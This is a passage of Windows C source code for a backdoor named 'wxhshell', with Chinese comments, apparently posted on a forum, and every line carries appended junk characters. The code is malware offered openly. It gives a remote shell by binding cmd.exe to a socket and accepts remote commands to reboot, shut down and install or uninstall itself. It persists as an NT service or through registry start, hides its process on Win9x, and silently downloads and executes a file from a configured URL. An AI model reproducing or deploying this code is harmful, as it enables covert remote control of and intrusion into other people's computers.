  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Ztoj}!I  
  } m'Ran3rp  
  else { gx3arVa  
6<gh:vj  
    switch(cmd[0]) { zh7NXTzyf  
  Ty7x jIs  
  // 帮助 ^W;\faG  
  case '?': { _/hWzj=q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g$uj<"^  
    break; orJN#0v4  
  } o4U9jU4<"  
  // 安装 3d[fP#NY7  
  case 'i': { gd2cwnP  
    if(Install()) K1jE_]@Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L,BuzU[1S  
    else GP1b/n3F1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }DoNp[`  
    break; L\o-zNY  
    } iXI > >9  
  // 卸载 a:C ly9  
  case 'r': { _pL:dKfy7  
    if(Uninstall()) t}+P|$[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?3[as<GZ8  
    else H}`}qu #~V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jruwdm^  
    break; ZPRkk?M}.  
    } [$$i1%c%Z<  
  // 显示 wxhshell 所在路径 %A%^;3@  
  case 'p': { =5J}CPKbZI  
    char svExeFile[MAX_PATH]; EP,lT.u3  
    strcpy(svExeFile,"\n\r"); R e-4y5f  
      strcat(svExeFile,ExeFile);  "H#2  
        send(wsh,svExeFile,strlen(svExeFile),0); 8do-z"-  
    break; eX>x +]l6  
    } U8 '}(  
  // 重启 `bNY[Gv>)  
  case 'b': { RAPR-I;{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x= X"4Mj0)  
    if(Boot(REBOOT)) (/JiOg^cw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uS;N&6;:  
    else { x:4 :G(  
    closesocket(wsh); @!`x^Tzz  
    ExitThread(0); 4YMX;W  
    } s9X?tWuL  
    break; 0sIwU!=vm  
    } )CKPzNf  
  // 关机 ^z)p@sk#  
  case 'd': { t[VA|1gG  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 22$M6Qof]n  
    if(Boot(SHUTDOWN)) "&W80,O3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *d b,N'rK  
    else { fgdqp8~  
    closesocket(wsh); h8'`g 0  
    ExitThread(0); \xR1|M  
    } sN"<baZ  
    break; l$ ^LY)i  
    } n3 y`='D  
  // 获取shell @Jr:+|v3B  
  case 's': { MfNsor  
    CmdShell(wsh); SJ8Ax_9{q  
    closesocket(wsh); +VT/ c  
    ExitThread(0); C%H{"  
    break; )B)e cJJ_  
  } X;'H@GU0  
  // 退出 db#svj*  
  case 'x': { OXp(rJ*bK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #q?'<''d,  
    CloseIt(wsh); bf@H(gCW=  
    break; B63puX{u#  
    } PUcxlD/a}  
  // 离开 "Rc Ny~  
  case 'q': { i24t$7q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eCFMWFhC  
    closesocket(wsh); ma TQ 0GX  
    WSACleanup(); >\[/e{Q"  
    exit(1); ;S0Kf{DN2  
    break; JCFiKt9n  
        } Dk%+|c  
  } }l"pxp1K  
  } Ui|z#{8&  
Sq:,6bcG  
  // 提示信息 *be"$ Q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O pavno%&  
} ? `hA:X<  
  } TsVU^Z%W  
?te~[_oT  
  return; Gn&=<q :H  
} P_}wjz}9ZX  
q]Vxf!0*>  
// shell模块句柄 _TntZv.?  
int CmdShell(SOCKET sock) #;D@`.#\  
{ '2XIeR  
STARTUPINFO si; nEHmiG  
ZeroMemory(&si,sizeof(si)); y~Z7sx0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ghU~H4[xD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y7^E`LKK  
PROCESS_INFORMATION ProcessInfo; qBF6LhR  
char cmdline[]="cmd"; i+90##4<?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);  Z2a~1BL  
  return 0; 7w\L<vFm  
} };Pdn7;1G:  
{^":^N)  
// 自身启动模式 {'cm;V+  
int StartFromService(void) fj|X`,TiZ;  
{ tJ$gH;  
typedef struct T {:8,CiW  
{ U'@#n2p:k  
  DWORD ExitStatus; e1Q   
  DWORD PebBaseAddress; 4v.{C"M  
  DWORD AffinityMask; jZr"d*Y  
  DWORD BasePriority; 7?ICXhu9  
  ULONG UniqueProcessId; UMUG~P&@  
  ULONG InheritedFromUniqueProcessId; TrPw*4h 9s  
}   PROCESS_BASIC_INFORMATION; WeZ?L|&%w0  
#(7^V y&  
PROCNTQSIP NtQueryInformationProcess; 'pj*6t1~  
>t#5eT`_ w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dk/f_m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;oCSKY4  
|_njN  
  HANDLE             hProcess; S ^]mF>xX8  
  PROCESS_BASIC_INFORMATION pbi; 1 HY K& ',  
9+#BU$*v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =O%'qUj`q  
  if(NULL == hInst ) return 0; =&Z#QD"vl  
H S)$|m_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0oQJ}8t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @d|3c7` A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2Q%*` vCuV  
U4=m>Ty  
  if (!NtQueryInformationProcess) return 0;  qC6@  
n|fKwWB\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *b7evU *1  
  if(!hProcess) return 0; .WLwAL  
u-M Td  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )=nB32~J"  
b$q~(Z}  
  CloseHandle(hProcess); ZZ>F ^t  
%6\L^RP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 4&AGVplgF  
if(hProcess==NULL) return 0; > -,$  
9zl-C*9vj  
HMODULE hMod; MbxJ3"@  
char procName[255]; $px1D$F!  
unsigned long cbNeeded; _Un*x5u2O  
?f= ~Pn+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^EJ]LNk }  
h<G7ocu!  
  CloseHandle(hProcess); ; GEr8_7  
s14D(:t(  
if(strstr(procName,"services")) return 1; // 以服务启动 Vkf c&+  
OP|X-  
  return 0; // 注册表启动 IdoS6   
} !5 ?<QKOe  
3N ?"s1U  
// 主模块 &r+!rL Kp  
int StartWxhshell(LPSTR lpCmdLine) iD.p KG  
{ dTWcn7C  
  SOCKET wsl; ]?T,J+S  
BOOL val=TRUE; YpgO]\/w  
  int port=0; E~c>j<'-"<  
  struct sockaddr_in door; WMS~Bk+!  
[0D.+("EW  
  if(wscfg.ws_autoins) Install(); q'9;  
YJ+l \Wb}  
port=atoi(lpCmdLine); 7+Er}y>  
F. I\?b  
if(port<=0) port=wscfg.ws_port; EMPujik-  
9"?;H%.  
  WSADATA data; ~l('ly  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~7gFddi=i  
X4L@|"ZI  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \0K&2'  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1:RK~_E  
  door.sin_family = AF_INET; tr58J% Mu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); m=TZfa^r  
  door.sin_port = htons(port); F$ckW'V  
NtmmPJ|5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { qOAP_\@T  
closesocket(wsl); =QIu3%&  
return 1; I+QM":2  
} #r,!-;^'p  
cd`P'GDF  
  if(listen(wsl,2) == INVALID_SOCKET) { 'Z|Czd8E  
closesocket(wsl); ^ U);MH8  
return 1; O;$}j:;KF  
} p0D@O_ :5  
  Wxhshell(wsl); 8@ S@^C*F  
  WSACleanup(); ,Iru_=Wk~  
~Rx`:kQ  
return 0; ^A=2#j~H\  
WD5jO9Oai  
} : )y3 &I  
b\t?5z-Z  
// 以NT服务方式启动 _$/Bt?h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Nxt`5kSx=  
{ ]x66/O\0u  
DWORD   status = 0; gH.$B'  
  DWORD   specificError = 0xfffffff; 0EasPbp  
e0]#vqdO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JLj b'Bn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (,tL(:c  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Xy}>O*  
  serviceStatus.dwWin32ExitCode     = 0; b8 1cq,  
  serviceStatus.dwServiceSpecificExitCode = 0; (Q.tH  
  serviceStatus.dwCheckPoint       = 0; sX ]gL  
  serviceStatus.dwWaitHint       = 0; K"!U&`T  
t qUBl?i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zq 'FOzs  
  if (hServiceStatusHandle==0) return; 0d$LUQ't  
h*Mt{A&'.&  
status = GetLastError(); Ff d4c  
  if (status!=NO_ERROR) w]fVELU  
{ %.wx]:o  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )LNKJe+  
    serviceStatus.dwCheckPoint       = 0; P`S'F_IN  
    serviceStatus.dwWaitHint       = 0; l3y}nh+ 8  
    serviceStatus.dwWin32ExitCode     = status; *,)1Dcv(  
    serviceStatus.dwServiceSpecificExitCode = specificError; J\ N&u#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &XW ~l>!+  
    return; IR?nH`V  
  } )(rr1^Xer  
]bbP_n8  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w4R~0jXy  
  serviceStatus.dwCheckPoint       = 0; b>9?gmR{  
  serviceStatus.dwWaitHint       = 0; 7q{yLcC"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dA<SVk*0Q  
} a p(PI?]X  
'*EKi  
// 处理NT服务事件,比如:启动、停止 [x- 9m\h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1@}<CWE9  
{ ftQ;$@  
switch(fdwControl) HG)$ W  
{ 'Hgk$Im+  
case SERVICE_CONTROL_STOP: WEoD ?GLS8  
  serviceStatus.dwWin32ExitCode = 0; i~3\dp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; brK7|&R<  
  serviceStatus.dwCheckPoint   = 0; b&]z^_m)  
  serviceStatus.dwWaitHint     = 0; GnC s_[*&r  
  { *^XMf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1(Z+n,Hh  
  } F=PBEaX  
  return; QIdml*Np?H  
case SERVICE_CONTROL_PAUSE: %$bhg&}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; NBAOVYK  
  break; zn0%%x+!g  
case SERVICE_CONTROL_CONTINUE: oTr,zRL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e.Q'l/g  
  break; ;iQw2XhT  
case SERVICE_CONTROL_INTERROGATE: y-S23B(  
  break; \?|^w.  
}; I]42R;Sc  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q"WfKz!U  
} D( y c  
#TV #*  
// 标准应用程序主函数 o=PW)37>  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AG#Mj(az!  
{ 1;!dTh  
Pa=xc>m^  
// 获取操作系统版本 o)Px d  
OsIsNt=GetOsVer(); R?dMM  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K,+z^{Hvh  
y5?kv-"c  
  // 从命令行安装 {DE4PE`  
  if(strpbrk(lpCmdLine,"iI")) Install(); X_)I"`  
) r"7"i  
  // 下载执行文件 W}|k!_/  
if(wscfg.ws_downexe) { Hq&MePl[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :*R+ee,& -  
  WinExec(wscfg.ws_filenam,SW_HIDE); A+}O~,mxP8  
} 'R#MH  
]ki) (Bb  
if(!OsIsNt) { <e wcWr  
// 如果时win9x,隐藏进程并且设置为注册表启动 xa 967Ki9"  
HideProc(); {bC(>k|CQ  
StartWxhshell(lpCmdLine); fP- =wd  
} .Q{VY]B^  
else uLfk>&hc  
  if(StartFromService()) FuAs$;  
  // 以服务方式启动 K;`W4:,  
  StartServiceCtrlDispatcher(DispatchTable); -zZb]8\E  
else x]608I T  
  // 普通方式启动 +:/.\3v71  
  StartWxhshell(lpCmdLine); P%d3fFzK  
WDr=+=Zj  
return 0; {cjp8W8hS  
}
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只看该作者 1 发表于: 2006-10-10
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